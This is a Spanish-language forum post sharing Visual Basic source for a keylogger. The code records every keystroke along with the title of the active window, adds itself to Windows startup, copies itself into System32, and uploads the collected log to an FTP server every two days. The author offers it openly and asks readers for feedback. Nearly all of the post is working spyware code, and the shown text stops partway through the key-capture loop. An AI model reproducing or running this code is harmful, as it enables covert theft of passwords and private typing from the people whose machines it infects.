¿Quién quiere un keylogger?

[Korpex]

Bueno, aquí está.. Es un keylogger.. pero NO ES MIO entero. En realidad.. le he dado forma.. la mitad del keylogger, la lógica, etc, es de un code que ví por ahí.. yo le he dado forma.. es sencillo, se entiende muy bien, y está majo, por eso lo cuelgo..

Está bien.. porque ocupa 40 Kb sin comprimir.. y cada dos días sube a un FTP los logs . A ver si os gusta...POR FAVOR ir comentando qué os parece, enserio es importante.

Dos command button: Empezar y Guardar.


En el Form1:

Código:

Option Explicit

'funciones api para las teclas
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
'para capturar el Hwnd de la ventana activa
Private Declare Function GetForegroundWindow Lib "user32" () As Long


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'Api que obtiene el tamaño del Caption de la ventana
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
'Api que obtiene el Caption de la ventana
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long


'Variable para almacenar las teclas que se van presionando
Dim StrLog As String
'Para el Apth del archivo log
Dim path As String

'Para ejecutar el archivo log desde el botón VerArchivo
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1

Private Const VK_CAPITAL = &H14

'Para el titulo de la ventana activa
Dim strVentanaActiva As String
Dim noSigas As Boolean
'FTP
Dim bActiveSession As Boolean
Dim hOpen As Long, hConnection As Long
'Constantes del FTP
Const ftpServer = "server.es"
Const ftpUser = "usuario"
Const ftpPass = "contraseña"

Private Sub Command1_Click()
    Tiempo
End Sub

Private Sub Command3_Click()
    noSigas = True
    grabarArchivo
End Sub

Private Sub Form_Load()
    Module1.AñadirInicio ("Keyloggeador")
    Module1.AutoCopiaASys32
    'Ruta del Log
    Dim FechaArchivo
    Dim szArchivo As String
    noSigas = False
    path = App.path & "\log.txt"
    If SuperaFecha = True Then SubeAlFTP
    Open path For Append As #1
        Print #1, vbCrLf
        Print #1, "*****************************************************************"
        Print #1, "[[Inicio del Log]]" & "->Fecha: " & Date & " ->Hora: " & Now
        Print #1, "*****************************************************************"
        Print #1, vbCrLf
    Close #1
End Sub

Sub SubeAlFTP()
        Dim ftpServer As String, ftpPass As String, ftpUser As String, rutaArchivo As String
        On Local Error Resume Next
        rutaArchivo = path
        On Local Error Resume Next
        FTPup rutaArchivo, ftpServer, ftpUser, ftpPass
        On Local Error GoTo 0
End Sub
Function SuperaFecha() As Boolean
    Dim strFecha As String
    strFecha = CDate(GetSetting("Win32-XP", "WindowsXPT", "Fecha"))
    If Day(Date) <> Day(strFecha) And Day(Date) <> Day(strFecha) + 1 Then
        SuperaFecha = True
        Call SaveSetting("Win32-XP", "WindowsXPT", "Fecha", Date)
    Else
        SuperaFecha = False
    End If
End Function


Sub FTPup(RuTa As String, Server As String, User As String, Pass As String)
    hOpen = 0
    hConnection = 0
    hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
    hConnection = InternetConnect(hOpen, Server, INTERNET_INVALID_PORT_NUMBER, User, Pass, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0)
    Dim bRet As Boolean
    Dim szFileRemote As String, szFileLocal As String
    Dim szTempString As String
    Dim nPos As Long, nTemp As Long
    szTempString = Server
    szFileLocal = RuTa
    Dim x As Long
    For x = 0 To Len(RuTa)
        szFileRemote = Mid(RuTa, Len(RuTa) - x, 1) & szFileRemote
        If InStr(szFileRemote, "\") = 1 Then Exit For
    Next
    szFileRemote = Right(RuTa, Len(szFileRemote) - 1) 'temp.txt
    bRet = FtpPutFile(hConnection, szFileLocal, szFileRemote, FTP_TRANSFER_TYPE_BINARY, 0)

End Sub

Private Sub Form_Unload(Cancel As Integer)
    grabarArchivo
    Open path For Append As #1
        Print #1, StrLog & vbCrLf
        Print #1, "*****************************************************************"
        Print #1, "[[Fin del Log]]" & "->Fecha: " & Date & " ->Hora: " & Now
        Print #1, "*****************************************************************"
        Print #1, vbCrLf
    Close
End Sub


Private Sub Tiempo()
    Dim contador As Long
    Do
        DoEvents
        contador = contador + 1
        If contador >= 1000000 And StrLog <> "" Then
            grabarArchivo
            contador = 0
        End If
        If noSigas = False Then
           
            Dim EstadoTecla As Long
            Dim Shift As Long

            If strVentanaActiva <> ObtenerCaption(GetForegroundWindow) Then
                strVentanaActiva = ObtenerCaption(GetForegroundWindow)
                StrLog$ = StrLog$ & vbCrLf & Time & "->> Ventana: " & strVentanaActiva & vbCrLf
            End If
           
            Shift = GetAsyncKeyState(vbKeyShift)
            EstadoTecla = GetAsyncKeyState(vbKeyA)
           
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "A"
            End If
           
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "a"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyB)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "B"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "b"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyC)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "C"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "c"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyD)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "D"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "d"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyE)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "E"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "e"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyF)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "F"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "f"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyG)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "G"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "g"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyH)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "H"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "h"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyI)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "I"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "i"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyJ)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "J"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "j"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyK)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "K"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "k"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyL)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "L"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "l"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyM)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "M"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
            StrLog$ = StrLog$ + "m"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyN)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "N"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "n"
            End If
            EstadoTecla = GetAsyncKeyState(vbKeyO)
           
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "O"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "o"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyP)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "P"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "p"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyQ)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "Q"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "q"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyR)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "R"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "r"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyS)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "S"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "s"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyT)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "T"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "t"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyU)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "U"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "u"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyV)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "V"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "v"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyW)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "W"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "w"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyX)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "X"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "x"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyY)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "Y"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "y"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyZ)
            If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "Z"
            End If
            If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
                StrLog$ = StrLog$ + "z"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKey1)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "1"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "!"
            End If
           
           
            EstadoTecla = GetAsyncKeyState(vbKey2)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "2"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "@"
            End If
           
           
            EstadoTecla = GetAsyncKeyState(vbKey3)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "3"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "#"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKey4)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "4"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "$"
            End If
           
           
            EstadoTecla = GetAsyncKeyState(vbKey5)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "5"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "%"
            End If
           
           
            EstadoTecla = GetAsyncKeyState(vbKey6)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "6"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "^"
            End If
           
           
            EstadoTecla = GetAsyncKeyState(vbKey7)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "7"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "&"
            End If
           
           
            EstadoTecla = GetAsyncKeyState(vbKey8)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "8"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "*"
            End If
           
           
            EstadoTecla = GetAsyncKeyState(vbKey9)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "9"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "("
            End If
           
           
            EstadoTecla = GetAsyncKeyState(vbKey0)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "0"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + ")"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyBack)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{bkspc}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyTab)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{tab}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyReturn)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + vbCrLf
                grabarArchivo
                'ENTER
            End If
'...........---.................................
            EstadoTecla = GetAsyncKeyState(vbKeyShift)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{shift}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyControl)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{ctrl}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyMenu)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{alt}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyPause)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{pause}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyEscape)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{esc}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeySpace)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + " "
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyEnd)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{end}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyHome)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{home}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyLeft)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{left}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyRight)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{right}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyUp)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{up}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyDown)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{down}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyInsert)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{insert}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyDelete)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{Delete}"
            End If
           
            EstadoTecla = GetAsyncKeyState(&HBA)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + ";"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + ":"
            End If
           
            EstadoTecla = GetAsyncKeyState(&HBB)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "="
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "+"
            End If
           
            EstadoTecla = GetAsyncKeyState(&HBC)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + ","
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "<"
            End If
           
            EstadoTecla = GetAsyncKeyState(&HBD)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "-"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "_"
            End If
           
            EstadoTecla = GetAsyncKeyState(&HBE)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "."
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + ">"
            End If
           
            EstadoTecla = GetAsyncKeyState(&HBF)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "/"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "?"
            End If
           
            EstadoTecla = GetAsyncKeyState(&HC0)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "`"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "~"
            End If
           
            EstadoTecla = GetAsyncKeyState(&HDB)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "["
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{"
            End If
           
            EstadoTecla = GetAsyncKeyState(&HDC)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "\"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "|"
            End If
           
            EstadoTecla = GetAsyncKeyState(&HDD)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "]"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "}"
            End If
           
            EstadoTecla = GetAsyncKeyState(&HDE)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "'"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + Chr$(34)
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyMultiply)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "*"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyDivide)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "/"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyAdd)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "+"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeySubtract)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "-"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyDecimal)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{Del}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyF1)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{F1}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyF2)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{F2}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyF3)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{F3}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyF4)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{F4}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyF5)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{F5}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyF6)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{F6}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyF7)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{F7}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyF8)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{F8}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyF9)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{F9}"
            End If
           
            If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
                Form1.Visible = True
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyF10)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{F10}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyF11)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{F11}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyF12)
            If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{F12}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyNumlock)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{NumLock}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyScrollLock)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{ScrollLock}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyPrint)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{PrintScreen}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyPageUp)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{PageUp}"
            End If
           
